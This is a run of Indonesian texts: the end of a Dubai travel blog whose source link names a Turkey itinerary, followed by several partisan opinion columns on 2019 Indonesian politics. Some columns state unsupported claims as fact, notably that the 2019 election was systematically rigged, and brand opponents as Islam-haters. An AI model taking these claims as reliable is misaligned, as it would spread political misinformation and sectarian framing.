di dunia. Luasnya kurang lebih 12 hektar dan dapat meluncurkan air hingga setinggi lima ratus kaki. Wow, luar biasa! Saya pernah melihat air mancur menari dan berwarna di belakang Menara Kembar Malaysia. Begitu juga di Jogja pernah ada air mancur yang seperti itu, tetapi yang setinggi Dubai Fountain jelas belum pernah lihat.Yang tidak boleh terlewatkan tentu saja mengunjungi Palm Jumaerah atau sering disebut sebagai Palm Island. Tempat ini adalah pulau buatan yang unik dan lengkap fasilitasnya. Terdapat taman hiburan, pantai, akuarium, tempat olahraga air, dan lain-lain didalamnya.Selain itu, saya penasaran dengan pantai di Dubai yaitu Pantai Jumeirah. Pantai ini membentang hingga 7 km dan terbagi menjadi 7 pantai yang tiap pantainya mempunyai keunikannya tersendiri. Pantai Jumeirah memang patut memiliki pasir yang putih dan air laut berwarna biru yang bening dan cantik. Di Indonesia memang banyak pantai berpasir putih. Makanya saya ingin melihat apa bedanya dengan Pantai Jumaerah.Sebagai pecinta bunga dan tanaman, saya akan berkunjung ke Miracle Garden di Dubailand. Miracle Garden merupakan taman yang di dalamnya terdapat beragam jenis tanaman yang didesain menjadi bentuk yang sangat cantik dan unik. Taman ini mempunyai berbagai tema seperti colorful peacocks, floral clock, butterfly park, dan aromatic garden. Keren, ya?Tempat wisata wajib berikutnya yang masuk list saya adalah Bastakia Quarter. Tempat ini dipenuhi bangunan dan gedung tua dengan arsitektur kuno. Sejak dulu saya memang menyukai keunikan bangunan kuno. Seolah kita terdampar ke masa lampau.Selain itu, kota tua Bastakia Quarter mempunyai banyak musem, terutama di daerah Al Fahidi. Museum yang ingin saya datangi antara lain museum koin, museum kopi, museum perangko, dan museum lainnya. Seru sekali bisa berwisata ke museum, mengenal sejarah Dubai lebih dekat. Doakan semoga saya bisa ke Dubai ya. Diambil dari: https://travel.detik.com/dtravelers_stories/u-4652826/liburan-ke-turki-ini-itinerary-buat-traveling-seminggu?_ga=2.17189177.1804186482.1565739739-733088116.1565739739

Walikota Bekasi Terpapar Paham Radikal

Siap mati demi prinsip adalah ciri radikalisme. Jadi, tidaklah keliru menyebut Pepen seorang penganut paham radikal. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Radikalisme tampaknya sudah merasuki birokrasi pemerintahan. Walikota Bekasi, Rahmat Effendy, termasuk salah seorang pejabat yang terpapar radikalisme kelas berat. Dia, lebih dua tahun silam, sempat mengatakan di depan publik bahwa lebih baik kepalanya ditembak ketimbang mencabut izin mendirikan bangunan (IMB) sebuah rumah ibadah. Rahmat Effendy, yang sering dipanggil Pepen, mengatakan di acara Kongres Nasional Kebebasan Beragama dan Berkeyakinan, 16 Maret 2017, dia melawan habis desakan masyarakat agar izin pembangunan geraja Santa Clara di Bekasi dibatalkan. Pepen menggoreskan kesan bahwa dia siap mati demi gereja itu. Sikap ini mendapat penghargaan dari Komnas HAM. Siap mati demi prinsip adalah ciri radikalisme. Jadi, tidaklah keliru menyebut Pepen seorang penganut paham radikal. Di hari Idul Adha barusan (11/8/2019), Walikota Pepen kembali menunjukkan radikalisme yang dia anut. Dia memilih tidak sholat Id di Masjid Agung al-Barkah di Bekasi. Berbagai laporan media menyebutkan dia mewakilkan kehadirannya di Masjid Agung kepada pejabat Bagian Kesos Pemko Bekasi. Sedangkan Pepen dikatakan ikut sholat Id di masjid dekat rumahnya di Pekayon. Berbagai media memberitakan bahwa Pepen tidak sholat Id di Masjid Agung karena meresmikan gereja Santa Clara tepat pada hari Idul Adha 1440 H. Tetapi, pihak Pepen membantah. Ketidakhadirannya di Masjid Agung untuk sholat Id bukan karena meresmikan gereja Santa Clara, melainkan karena kelelahan setelah hari sebelumnya mengikuti rapat di DPRD hingga subuh. Hebatnya, ada berita yang dimuat Tempo online (12/8/2019) bahwa Pepen tak sholat Id di Masjid Agung al-Barkah gara-gara meresmikan geraja Katolik itu adalah hoax. Ada kesan berita Tempo itu seolah menyebutkan bahwa peresmian geraja Santa Clara oleh Pepen di hari Idul Adha itu, juga hoax. Padahal, memang benar Pepen meresmikan Santa Clara pada hari Idul Adha (11/8/2019). Baik, kita cukupkan sampai di sini soal apakah Pepen tak sholat Id di Masjid Agung gara-gara dia harus meresmikan gejara Santa Clara, atau karena dia kelelahan. Mari kita kembali fokus ke radikalisme Pak Walikota dalam membela kepentingan non-muslim. Tentu sikap beliau ini sangat terpuji bagi kalangan minoritas dan kalangan yang benci Islam. Kalangan yang benci Islam itu bisa non-muslim, bisa juga orang Islam sendiri alias para munafiqun. Radikalisme minoritas Pepen itu tampak dari (1)semangat dia yang sangat keras untuk meresmikan Santa Clara; (2)ketiadaan semangatnya untuk sholat Idul Adha di Masjid Agung hanya karena kelelahan. Dari sini boleh disimpulkan bahwa untuk kepentingan minorits, Pepen siap ditembak kepalanya demi membela minoritas Dan dan dia siap datang ke mana saja dan jam berapa saja ke acara mereka. Pepen tidak takut mati. Tidak ada istilah kelelahan demi minoritas. Dia siap ditembak kepalanya demi IMB Santa Clara. Itulah paham radikal yang dianut Pepen. Radikalisme minoritas. Radikalisme model ini tentu mendapat nilai yang sangat tinggi di mata banyak pihak yang tak suka Islam. Radikalisme yang sedang trendy. Banyak pejabat dan politisi yang “berbaiat” kepada radikalisme minoritas. Sebaliknya, perjuangan radikal untuk menyuarakan sikap antikorupsi dianggap sesuatu yang tak baik. Perjuangan untuk menegakkan keadilan bagi umat Islam, selalu dikategorikan sebagai “paham radikal yang terlarang”. Apa saja yang berkonten membela umat, hampir pasti distempel sebagai “radikalisme terlarang”. Radikalisme yang dianut Pepen kelihatannya akan semakin berkembang. Banyak yang mendukung dan banyak yang siap menjadi penganutnya. End

Kasus Taruna Enzo: Pak Mahfud MD Segeralah Minta Maaf

Jadi Mahfud bukanlah figur ecek-ecek. Kelasnya jauh berbeda dibandingkan para buzzer yang mencari makan dari kegaduhan dan kekisruhan politik. Oleh Hersubeno Arief Jakarta, FNN - Ingar bingar dan kegaduhan status taruna Akademi Militer (Akmil) Enzo Allie berakhir. Kepala Staf TNI AD Jenderal Andika Perkasa menyatakan Enzo bukanlah simpatisan HTI. Pemuda blasteran Perancis itu juga tidak terpapar paham “radikal.” "Kami, Angkatan Darat, memutuskan, untuk mempertahankan Enzo Zenz Allie dan semua taruna Akademi Militer yang kami terima beberapa waktu lalu, sejumlah 364 orang," ujar Andika di Mabes TNI AD, Jakarta, Selasa (13/8). Berdasarkan hasil tes obyektif lanjutan, indeks moderasi bernegara Enzo adalah 5,9 dari tujuh. Enzo, mendapat persentase skor 84 persen. Andika menjamin akurasi dan validitas tes obyektif lanjutan yang dilakukan terhadap Enzo. TNI telah bertahun-tahun menggunakan instrumen tes itu untuk memastikan kesadaran bernegara para taruna. Pernyataan Andika ini bukan hanya kabar baik bagi Enzo dan keluarganya. Ini juga kabar baik bagi TNI AD, umat Islam, dan tentu saja yang paling penting bagi kehidupan kita berbangsa dan bernegara. Hanya gara-gara kedapatan pernah membawa bendara tauhid dan diposting di akun facebooknya, Enzo digoreng oleh buzzer sebagai pendukung kelompok radikal. Statusnya dikait-kaitkan dengan ibunya, seorang anggota emak-emak militan yang menjadi pendukung Prabowo-Sandi. Yang lebih menyedihkan Mahfud MD ikut memperkeruh situasi dengan menyebut TNI KECOLONGAN. Dia juga meminta TNI segera memecat dan memberhentikan Enzo dari Akmil. Secara insinuatif dia memperkirakan, kalau tidak dipecat, Enzo tidak akan kerasan karena kasusnya sudah ramai di media. Pernyataan Mahfud tentu tidak bisa diremehkan begitu saja. Karirnya sangat mencorong. Dia pernah menjadi Menhan, Menkumham —walau hanya tiga hari—, dan Ketua Mahkamah Konstitusi (MK). Jangan dilupakan pula statusnya saat ini sebagai anggota Dewan pengarah Badan Pembinaan Ideologi Pancasila (BPIP). Sebuah lembaga yang membantu presiden untuk merumuskan arah kebijakan pembinaan idiologi Pancasila. Gak main-main. Jadi Mahfud bukanlah figur ecek-ecek. Kelasnya jauh berbeda dibandingkan para buzzer yang mencari makan dari kegaduhan dan kekisruhan politik. Kalau toh ucapan dan sikapnya belakangan ini tekesan seperti buzzer, jelas dia bukan buzzer sembarangan. Kualifikasinya: kelas berat! Harus Jentelmen Dengan keputusan TNI AD, akan sangat baik, terhormat, bertanggung jawab, jentelmen bila Mahfud MD segera minta maaf. Pertama, kepada Enzo dan keluarganya. Gara-gara pernyataannya Enzo menghadapi tekanan psikologis yang luar biasa. Mahfud telah mem-bully seorang remaja berprestasi dan unggul. Masa depan Enzo terancam. Pemuda yang bercita-cita menjadi prajurit komando ini seperti divonis hukuman mati. Dipecat. Kedua, kepada lembaga TNI, khususnya TNI AD yang disebutnya telah kecolongan.Tudingan ini tidak main-main dan bisa dilihat sebagai sikap meremehkan TNI secara kelembagaan. Untuk menjadi taruna Akmil —semua angkatan— proses seleksinya sangat ketat dan berjenjang. Mulai di daerah (Kodim, Kodam), sampai di tingkat pusat berupa penentuan tahap akhir (Pantohir). Seorang calon taruna dinyatakan lolos setelah melewati pemeriksaan administrasi, test kesehatan, kesemaptaan jasmani, mental ideologi, psikologi dan test kesehatan. Siapapun yang lolos telah melalui tahapan ini. Seperti dikatakan Andika, prosesnya telah teruji. Soal mental idiologi di masa lalu dikenal persyaratan bersih diri dan bersih lingkungan. Bukan hanya sang calon secara pribadi, tapi juga keluarga dan lingkungannya. Enzo berhasil lolos semua ujian tersebut. Angkanya juga di atas rata-rata, kalau tidak boleh dikatakan sempurna (A). Enzo adalah taruna yang memenuhi semua persyaratan. Secara fisik jempolan, secara linguistik hebat. Dia juga punya bekal keagamaan yang kuat. Dari hasil tes Samapta, Enzo mampu melakukan pull up 19 kali, sit up 50 kali dan push up 50 kali masing-masing dalam waktu 60 detik. Enzo juga mampu berlari 7,5 putaran X 400 meter atau 3.000 meter dalam 12 menit, renang 50 meter dalam 60 detik. Selain bahasa Indonesia dia memguasai empat bahasa asing: Inggris, Perancis, Italia, dan Arab. Satu hal yang juga akan menjadi bekal istimewa Enzo, dia pernah menjadi santri di sebuah pondok pesantren di Serang, Banten. Bayangkan bila sampai TNI tunduk pada tekanan buzzer dan Mahfud MD. Mereka akan kehilangan calon perwira yang cemerlang dan tidak menutup kemungkinan menjadi pimpinan TNI di masa depan. Dengan paras rupawan dan berbagai keunggulan fisik lainnya, Enzo sesungguhnya bisa menempuh jalur pintas menjadi sukses, terkenal dan kaya raya. Seperti remaja Indo lainnya, dunia industri hiburan dipastikan akan dengan tangan terbuka menyambutnya. Namun Enzo memilih jalan lain. Jalan terjal berupa pengabdian kepada bangsa dan negara. Bangsa dan negara tempat Ibu kandungnya dilahirkan. Dia memilih bermandi peluh dan darah, ketimbang sorotan dan kilau lampu-lampu kamera. Dia memilih medan latihan dan medan tempur ketimbang panggung-panggung pertunjukkan. Di tengah semakin sedikitnya pemuda yang ingin mengabdikan dirinya kepada bangsa dan negara melalui jalur militer, Enzo seharusnya mendapat salut dan aplaus yang meriah, bukan malah di-bully. Ketiga, Mahfud harus meminta maaf kepada umat Islam. Gara-gara statemennya stigma radikal terhadap umat Islam semakin kuat. Semangat keberagamaan yang tinggi disamakan dengan sikap radikal. Kalimat sahadat mengakui ke Esa-an Allah SWT identik dengan organisasi terlarang. Keempat, Mahfud harus meminta maaf kepada bangsa Indonesia. Pasca Pilpres 2019 rakyat Indonesia terbelah menjadi dua kubu yang berseberangan. Pernyataannya dapat kian memperparah pembelahan itu. Masyarakat akan terus gontok-gontokan. Para elit politik, cerdik pandai harus benar-benar berhati-hati mengelola bangsa ini, termasuk menjaga ucapan maupun tindakannya. Jangan hanya karena kepentingan jangka pendek, kepentingan politik, kepentingan kuasa, persatuan dan kesatuan bangsa dikorbankan. Semuanya sekarang terpulang kepada Mahfud MD, apakah dia cukup rendah hati, punya jiwa besar memberi contoh dan tauladan kepada bangsa ini, terutama anak-anak muda seperti Enzo. Meminta maaf, mengakui kesalahan, adalah sikap yang terhormat. Atau seperti kebanyakan buzzer, memilih ngeles dan menyalahkan media karena salah kutip. End

Megawati Mainkan “Psy-War”, Jokowi Takluk?

PDIP dan Megawati Soekarnoputri merasa “dipecundangi” pada periode kepemimpinan Joko Widodo – Jusuf Kalla. Agar tak terulang, Megawati pun lontarkan psy-war. Pesannya jelas: Jokowi harus ikuti apa kemauan PDIP. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN- Jika kita menyimak pidato Ketum DPP PDIP Megawati Soekarnoputri saat Kongres V PDIP di Denpasar, 8-10 Agustus 2019, ada hal menarik yang bisa dikaji lebih mendalam. Terutama terkait “jatah kursi” menteri dan Ketua DPR dari PDIP. Diawali dari cerita, saat PDIP memenangkan Pemilu 1999, mestinya dirinyalah yang menjadi presiden. Tapi tidak bisa. Dikalahkan di DPR. Yang jadi justru KH Abdurrahman Wahid alias Gus Dur. Ketika itu belum ada pemilihan langsung. Ketua DPR saat itu dipegang Golkar (Akbar Tanjung). Ketua MPR dijabat oleh Amien Rais (utusan Golongan). Pemilu lima tahun lalu PDIP menang lagi. Tapi jabatan ketua DPR jatuh ke Partai Golkar. Melalui penciptaan UU MD3. “Saya ditipu terus. Dikerjain terus,” ungkap Megawati. “Tapi kita jalan terus. Suatu saat pasti mencapai kemenangan,” tambahnya. Itulah yang dimaksud dengan “kesabaran revolusioner”. Kalimat ini tidak ada dalam teks pidato Megawati. Pada Pemilu 2019, 17 April 2019, PDIP menang lagi. Apakah PDIP dan Megawati juga akan ditipu dan dikerjai di DPR lagi? “Kali ini tidak mau, tidak mau, tidak mau!” tegasnya. Tidak maunya sampai perlu diucapkan Megawati tiga kali. Ucapan Megawati itu disampaikan dengan penuh perasaan. Yang kemudian diikuti pula oleh perasaan kader partai yang hadir. “Tidak mau, tidak mau, tidak mau!” teriak peserta kongres serentak. Ternyata, PDIP ngincar posisi Ketua DPR. Megawati kemudian memasuki perihal susunan Kabinet Indonesia Kerja (KIK) mendatang. Sambil menyebut nama Presiden Joko Widodo, Megawati mengatakan nanti tidak bisa lagi Presiden Jokowi beralasan soal jumlah kursi PDIP. Misalnya, sebut Megawati, PDIP sudah mendapat banyak posisi, seperti Ketua DPR, maka jumlah menteri PDIP empat orang saja. Itu pun sudah lebih banyak dari yang lain (Koalisi Jokowi), yang hanya mendapat kursi dua menteri saja. “Tidak mau!” tegasnya. Megawati mengingatkan kembali betapa beratnya memenangkan pemilu di Jateng. Sampai harus turun sendiri ke lapangan. “Waktu itu kami sudah begini-begini,” katanya memberi isyarat dengan jari-jemarinya. Maksudnya, ia sudah khawatir kalah. Begitu juga TKN paslon Joko Widodo – Ma’ruf Amin. “Itu gara-gara Mas Bowo mau pindah posko ke Jateng,” katanya, sambil mengarahkan wajah ke Ketum Gerindra Prabowo Subianto yang duduk di depan. Prabowo yang duduk di sebelah Ma’ruf Amin, tampak tersenyum, sambil menangkupkan kedua telapak tangan di depan dadanya. “Wong sudah tahu Jateng itu kandang banteng saya. Kok mau diganggu,” kata Megawati sambil senyum lepas. Hadirin pun tertawa. “Terpaksa saya turun sendiri,” lanjutnya. Padahal, Megawati memberi isyarat bahwa PDIP sudah tahu diri, tidak mengganggu Jabar dan Banten, karena kandangnya Prabowo. Pada Pilpres 2014, Prabowo menang telak di sini. “Saya pun terpaksa menyerukan Jawa Tengah. Hayo! Bantengnya jangan hanya merumput terus. Asah tanduk kalian!” katanya. Megawati pun menyebut Puan Maharani. “Tahu nggak dia anak siapa?“ tanya Megawati saat kampanye di Jateng dulu. “Puan harus mendapat suara lebih 500.000 (suara),” tegas Megawati. PDIP akhirnya menjadi pemenang Pemilu 2019. Puan Maharani terpilih menjadi anggota DPR dengan suara terbesar. Maka kali ini tidak akan mau lagi kalau Puan tidak jadi Ketua DPR. Menekan Jokowi? Sayangnya, pidato Megawati selama sekitar sejam itu sama sekali tidak menyentuh persoalan bangsa, seperti kemiskinan, pengangguran, ekonomi, ancaman TKA China, dan visi ke depan dari pemerintahan ke depan yang dimenangkan Jokowi – Ma’ruf. Apa yang disampaikan Megawati seolah hanya berupa sosialisasi bagaimana PDIP berjuang untuk “memangkan” Pilpres 2019 atas paslon Prabowo Subianto – Sandiaga Uno. Apalagi, Jokowi sampai bilang, di Bali kita menang telak “sekian” persen. Presiden Jokowi mungkin lupa, Prabowo datang itu atas undangan khusus dari Megawati saat berkunjung ke rumahnya di Jalan Teuku Umar, Jakarta. Apalagi, Prabowo mendapat tempat khusus di pembukaan Kongres V PDIP di Denpasar tersebut. Prabowo menempati kursi kehormatan di deretan terdepan bersama Ma’ruf Amin, Megawati, Presiden Jokowi, dan Wapres Jusuf Kalla. Bukan hanya di sebelah siapa ia didudukkan. Tapi nama Prabowo disebut sampai lima kali dalam pidato sejam lebih itu. Megawati sampai perlu mengucapkan terima kasih atas kehadiran Prabowo. “Waktu saya bertemu yang heboh itu, sebenarnya saya hanya mengatakan... Mas, apakah mau hadir kalau saya undang ke kongres,” ujar Megawati disambut gerrr hadirin. “Sekarang ini yang tidak diundang pun minta diundang. Begitulah kalau menjadi pemenang Pemilu,” timpal Megawati. Begitu pentingkah kehadiran Prabowo dalam Kongres V PDIP? Jelas, sangat, sangat, dan sangat penting untuk sebuah legitimasi. Apalagi, pasca pertemuan Teuku Umar antara Prabowo dengan Megawati. Pertemuan antara Presiden Jokowi dengan Prabowo di Stasiun MRT Lebak Bulus yang dilakukan sebelumnya, setidaknya telah membuat terjadinya friksi di Koalisi Jokowi. Format rekonsiliasi yang diajukan Prabowo jelas sangat mengkhawatirkan Koalisi Jokowi, seperti NasDem, Golkar, PKB, dan PPP. Karena, jika rekonsiliasi berna-benar terjadi, maka jatah kursi mereka bakal berkurang, termasuk PDIP tentunya. Karena, Prabowo akan memasukkan kader-kadernya dalam Pemerintahan Jokowi – Ma’ruf mendatang. Setidaknya, minimal 8 kursi dalam kabinet. Boleh jadi, inilah yang kemudian membuat Surya Paloh mengadakan pertemuan, di luar PDIP. Manuver Paloh mengumpulkan anggota Koalisi Jokowi minus PDIP, karena mereka tetap khawatir dengan kehadiran “mitra koalisi” barunya, Gerindra. Sementara itu, di sisi lainnya, PDIP dan tentu saja Jokowi – Ma’ruf perlu legitimasi Prabowo. PDIP sendiri, kabarnya, lebih senang bermitra dengan Gerindra. Di sini jelas sekali, adanya sinyal bahwa jika Jokowi tak menuruti permintaan Megawati soal jatah menteri untuk PDIP, maka bisa saja setiap saat PDIP dan Megawati meninggalkannya. Apalagi, kabarnya, sekarang ini memang sedang ada pembicaraan antara elit PDIP dengan Gerindra perihal bagi-bagi jatah kursi pimpinan DPR-MPR. Untuk Ketua DPR diberikan ke PDIP sebagai pemenang Pemilu 2019. Ketua MPR jatah Gerindra. Posisi Wakil Ketua DPR maupun MPR diserahkan pada partai pemenang urutan berikutnya. Di sini jelas sekali, apa yang diinginkan Megawati pasti bakal tercapai. Puan Maharani calon kuat Ketua DPR. Setelah posisi di legislatif diraihnya, kini menteri. PDIP yang semula seakan tak peduli dengan pembagian kursi dan jatah menteri, kali ini jelas menunjukkan penolakannya jika hanya diberi jatah sedikit. PDIP telah menunjukkan wajah aslinya. Megawati meminta lebih banyak menteri nantinya. “Mesti lebih banyak. Orang kita ini pemenang pemilu dua kali,” tegas Megawati lagi. Lebih banyak yang dimaksud ini tentu jumlahnya lebih dari yang sekarang dan mesti lebih banyak dari partai anggota koalisi lainnya. Karena PDIP pemenang pemilu. Megawati dengan tegas mengatakan akan menolak jika Presiden Jokowi hanya memberikan sedikit jatah kursi menteri untuk diisi kader PDIP. “Jangan nanti, Ibu Mega, saya kira karena PDIP sudah banyak kemenangan, sudah di DPR, saya kasih empat,” ujarnya. “Emoh, tidak mau, tidak mau, tidak mau,” tegas Megawati. Saat mendapat giliran berpidato, Presiden Jokowi menjanjikan kursi menteri terbanyak untuk PDIP. “Yang jelas, PDIP pasti yang terbanyak. Jaminannya saya,” jawab Presiden Jokowi. Apakah pernyataan keras perihal jatah menteri yang disampaikan Megawati itu tidak lain psy-war kepada para pihak yang selama ini mendikte Presiden Jokowi, setelah akhirnya diketahui oleh Megawati setelah berjalan sekian tahun Jokowi berkuasa? Apalagi, melalui Kepala BIN Budi Gunawan, Megawati sudah tahu bahwa kemenangan yang diperoleh Jokowi – Ma’ruf atas Prabowo – Sandi pada Pilpres 2019 penuh kecurangan TSM, meski secara yuridis formal MK sudah memenangkan mereka. Lebih tegas lagi adalah sikap Ijtima Ulama IV di Jakarta yang tidak mengakui Jokowi sebagai Presiden Terpilih karena penuh dengan pencurangan TSM. Joked2019 @Joked2019 menulis, karenanya tak bisa dilantik, apalagi tak memenuhi syarat pasal 6A UUD 2002. “Mustahil dilakukan pelantikan yang paradoks terhadap konstitusi. Kian membesar gerakan tolak lantik,” lanjut twiter Joko Edy. Megawati pun pasti juga tahu soal syarat pasal 6A UUD 2002 tersebut. Di sinilah Prabowo punya posisi yang sangat kuat. Kalau yang dikejar cuma kursi menteri, jika Prabowo yang dilantik menjadi presiden, dapat dipastikan ia akan menuruti Megawati dan PDIP. ***

Kasus Enzo, Untung Saja Mahfud MD Gagal Jadi Cawapres

Sungguh disayangkan figur terhormat seperti Mahfud MD berperilaku seperti buzzer. Hanya bermodal info medsos yang digoreng buzzer langsung mengambil kesimpulan seperti itu. Oleh Hersubeno Arief Jakarta, FNN - Kalau saja Mahfud MD tidak gagal jadi cawapres, ceritanya pasti akan berbeda. Bangsa Indonesia yang sudah terbelah dalam dua poros 01 dan 02 , akan terpuruk kian dalam. Pernyataan Mahfud bahwa TNI KECOLONGAN karena meloloskan Enzo Allie menjadi calon taruna Akademi Militer (Akmil) menimbulkan kegaduhan yang tidak perlu. Di media sosial para buzzer paslon 01 dan 02 kembali bertempur. Mereka kembali saling serang. Di media massa isu Enzo juga menyita perhatian. Sejumlah tokoh mulai dari Menhan Ryamizard Ryacudu, KSP Moeldoko, sampai KSAD Jenderal TNI Andhika Perkasa diburu media. Mereka dimintai pendapatnya. Enzo Zenz Allie (18) seorang remaja blasteran Perancis (Ayah) dan Indonesia (Ibu) ramai diperbincangkan. Videonya berdialog dengan Panglima TNI Marsekal Hadi Tjahjanto dalam bahasa Perancis, viral. Selain bahasa Perancis, Enzo juga fasih bahasa Inggris, Italia, Arab, dan tentu bahasa Indonesia. Kemampuan bahasa Arabnya dia peroleh di pesantren. Secara fisik Enzo juga jempolan. Dari hasil tes Samapta, Enzo mampu melakukan pull up 19 kali, sit up 50 kali dan push up 50 kali masing-masing dalam waktu 60 detik. Enzo juga mampu berlari 7,5 putaran X 400 meter atau 3.000 meter dalam 12 menit, renang 50 meter dalam 60 detik. Dilihat dari kecerdasan linguistik dan ketangguhan fisik, Enzo diperkirakan akan menjadi prajurit yang mumpuni. Paripurna. Cocok dengan cita-citanya menjadi prajurit komando. Satu lagi modalnya yang jarang dimiliki calon taruna, adalah pemahaman keagamaannya. Dia pernah menjadi santri di sebuah pondok pesantren di Serang, Banten. Digoreng Buzzer Tak lama setelah video Enzo viral, buzzer yang terinditifikasi dengan paslon 01 mulai menggoreng isu Enzo. Mereka menemukan di akun medsosnya, Enzo berfoto dengan bendera hitam bertulis kalimat tauhid (Tiada Tuhan selain Allah). Bendera bernama Ar-Rayah itu merupakan panji perang di masa Rasululloh Muhammad SAW. “Temuan” itu kemudian dikait-kaitkan dengan organisasi Hizbut Tahrir Indonesia (HTI) yang juga mempunyai bendera yang mirip. Enzo diduga sebagai pemuda yang terpapar kelompok radikal. Stigma yang bisa menjadi hukuman mati bagi karir militernya. Para buzzer ini juga menelusuri akun media sosial Hadiati Basjuni Allie. Di akun Hadiati yang tergabung dalam emak-emak militan Prabowo-Sandi ini juga didapati memposting sejumlah bendera tauhid. Namun tidak ada kalimat spesifik yang menyatakan dukungannya terhadap HTI. Tak ada ampun, Enzo dan ibunya digoreng habis para buzzer. Sayangnya sejumlah tokoh termasuk Mahfud MD bukan meredakan kehebohan, namun malah terlibat menambah bara kebencian. Mahfud menyebut TNI kecolongan. Karena itu dia menyarankan TNI segera memecat dan memberhentikan Enzo karena telah terpapar paham radikal. Kalau toh tidak dipecat, Enzo diperkirakan Mahfud bakal tidak kerasan di Akmil setelah diberitakan besar-besaran. “Kalau sudah diberitakan seperti itu masih kerasan, maka perlu dipertanyakan benar motivasinya,” tambahnya. Sungguh disayangkan figur terhormat seperti Mahfud MD berperilaku seperti buzzer. Hanya bermodal info medsos yang digoreng buzzer langsung mengambil kesimpulan seperti itu. Kalau buzzer motivasinya sangat jelas. Ekonomi dan kebencian. Mereka hanya bisa hidup ketika situasi politik gaduh dan keruh. Apakah Mahfud sudah terjerembab dalam motivasi serupa yang sangat rendah? Atau ada motif lain, berupa motif kuasa? Masa iya figur seperti dia serendah itu? Masa depan seorang anak muda dia korbankan dengan statemennya yang sangat gegabah. Pernyataannya juga bisa mendorong publik makin membenci bendera tauhid yang dia asosiasikan sebagai kelompok radikal. Soal ini jauh lebih serius. Menimbulkan stigma buruk bagi umat Islam Untungnya para petinggi militer tidak begitu saja menelan mentah-mentah saran Mahfud yang pernah menjadi Menhan pada masa pemerintahan Presiden Abdurrahman Wahid. Menhan Ryamizard Ryacudu mempercayakan sepenuhnya kepada TNI AD. Sementara KSAD Jenderal Andhika menyatakan phaknya sedang melakukan penelitian secara scientific. Jadi tidak asal main pecat. Dalam era post truth dan masyarakat yang terbelah seperti Indonesia saat ini, sangat baik bila semua pihak menahan diri. Tidak mudah mengumbar pernyataan, apalagi isu yang hanya membuat masyarakat kian terbelah. Tidak ada gunanya bila di level elit politik terjadi proses “rekonsiliasi.” Sementara di level bawah, level akar rumput masyarakat terjerembab pembelahan yang kian dalam. Pasti bukan bangsa seperti ini yang kita bayangkan ketika para wakil rakyat, cerdik pandai mengadopsi sistem demokrasi langsung. Sekali lagi: Untung saja Mahfud MD gagal menjadi cawapres. Andai saja saat ini dia yang terpilih menjadi capres, bukan Ma’ruf Amin. Apa jadinya bangsa ini? End

Jurus "Pendekar Mabuk" Prabowo dan Isu "Penumpang Gelap"

Ada kelompok elit Gerindra yang main dua kaki untuk mendekatkan Prabowo dengan Megawati, serta menjauhkan Prabowo dari para ulama GNPF dan para pemuka PA-212 sekaligus mencabut Prabowo dari umat Islam militan garis lurus. Mereka akan ‘digarap’ di periode kedua Jokowi untuk melemahkan umat garis lurus dengan dalih membasmi radikalisme. Oleh : A. Sofiyanto (Wartawan Senior) Jakarta, FNN - Tampaknya, perilaku elit Partai Gerindra semakin membingungkan kawan dan lawan. Setelah Prabowo ujug-ujug melakukan jurus ‘pendekar mabuk’ dengan “pertemuan MRT dengan Jokowi” disusul “pertemuan nasi goreng bersama Megawati’ jelas membuat pentolan Gerindra ini mengecewakan pendukung militan capres 02 Prabowo-Sandi melawan capres 01 Jokowi-Maruf. Jurus pendekar mabuk yang sulit ditebak ke mana arah pukulannya, juga mengejutkan lawan politik Prabowo. Dalam sejarah politik di negeri ini, baru pertama terjadi rival politik yang sedang dalam persaingan memanas mendadak sontak berangkulan. Wajarlah jika pendukung militan 02 kaget dan kecewa berat. Pasalnya, mereka merasa capres 02 itu dikalahkan secara curang oleh kubu capres petahana dalam Pilpres 2019. Untuk mendinginkan kemarahan pendukungnya, katanya Prabowo berjanji akan mendatangi mereka terutama emak-emak yang kecewa dengan merapatnya Prabowo ke Jokowi. Janji sowan ke pendukungnya belum dipenuhi Prabowo, kini malah elit Gerindra melempar rumor atau isu “penumpang gelap”. Sehingga malah membuat emak-emak, ulama “garis lurus” dan Alumni 212 sebagai pendukung militan Prabowo semakin kecewa. Adalah Wakil Ketua Umum Partai Gerindra Sufmi Dasco yang melontarkan isu bahwa ada ‘penumpang gelap” di barisan Prabowo-Sandi saat Pilpres 2019 yang mencoba memanfaatkan Prabowo untuk kepentingan mereka. Namun, menurut Dasco, Prabowo kemudian mengambil tindakan karena sadar telah dimanfaatkan, dan para penumpang gelap itu kemudian "gigit jari" karena Prabowo segera mengetahuinya dan tidak mau dimanfaatkan. Yang bikin aneh, Dasco tak menyebut nama siapa saja sebenarnya orang, kelompok atau organisasi yang termasuk ke dalam penumpang gelap tersebut. Karuan saja pernyataan si Dasco ini bikin gaduh dan bikin saling curiga. Banyak yang bertanya siapa penumpang gelap sebenarnya, bahkan Persaudaraan Alumni (PA) 212 yang sempat diperkirakan adalah pihak yang dimaksud Dasco langsung memberikan konfirmasi. Melalui Ketuanya Slamet Maarif, PA212 tidak merasa menjadi penumpang gelap seperti yang dimaksud elit Gerindra. "Jadi kami yakin yang dimaksud Gerindra bukan kalangan kita dan ulama," tepis Slamet Maarif kepada wartawan, Jumat (9/8/2019). Apabila elit Gerindra itu hanya usil melontar isu tapi tidak menyebut siapa yang dimaksud, maka sebenarnya tidak ada penumpang gelap itu. Sebab, para pendukung militan Prabowo hanya bersemangat dan berjuang demi kehidupan masa depan bangsa ini agar tidak ada kecurangan, kejahatan politik dan ekonomi serta pembohongan dan pembodohan publik di negeri tercinta ini. Apakah politikus memang biasa ngeles (menghindar) pada saat terjepit mesti mencari “kambing hitam” atau ‘cari aman’ agar kepentingan pribadi dan kelompoknya tetap survive. Andai pun ada penumpang gelap, mestinya harus disingkirkan sejak awal Pilpres. Jangan seenak udelnya sendiri, dukungan dari para “penumpang gelap” itu dipakai tetapi setelah selesai pilpres disingkirkan dan dipermalukan pula. Kalaupun yang dianggap pemumpang gelap itu misalnya massa militan yang melakukan aksi demo di depan Mahkamah Konstitusi (MK) saat sidang sengketa Pilpres 2019 yang dilarang/dicegah oleh Prabowo, maka itu juga tidak relevan. Pasalnya, yang memimpin demo tersebut adalah mantan ketua penasihat KPK Abdullah Hehamahua yang sudah tua dan merupakan orang jujur serta tidak gila jabatan. Dia hanya sekadar ingin menegakkan hukum dan menyingkirkan kecurangan di negeri ini. Jadi, tidak tepat kalau tokoh semacam Abdullah Hehamahua dicap sebagai “penumpang gelap”. Kenyataan bagi pendukung militan capres 02 tentu sangat 